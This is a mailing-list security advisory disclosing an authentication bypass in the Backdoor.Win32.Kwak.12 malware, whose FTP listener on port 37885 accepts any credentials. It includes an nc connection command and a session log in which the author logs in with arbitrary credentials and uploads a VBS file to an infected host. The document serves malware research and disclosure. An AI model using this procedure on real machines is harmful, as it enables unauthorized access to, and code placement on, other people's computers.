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Date: Thu, 25 Mar 2021 23:53:06 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Kwak.12 / Authentication Bypass

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Authentication Bypass
Description: The backdoor runs an FTP server that listens on TCP port
37885. The program acts like a typical FTP server and prompts for logon.
However, anyone can seemingly use any combination of username and password
to logon to the system and run commands.

Logon using any user/pass combination.

USER 666
331 Password required for 666.
PASS 666
230 User 666 logged in.

Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0147
Dropped files:
Disclosure: 03/25/2021

nc64.exe x.x.x.x 37885

220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP:
User On This Computer: victim
Drive C: 14.99 Gb Free

USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.
250 CWD command successful. "C:/TEMP/" is current directory.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,88,128,194,62).
STOR a.vbs
150 Opening data connection for a.vbs.
226 File received ok
227 Entering Passive Mode (192,168,88,128,194,63).

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) (TM).

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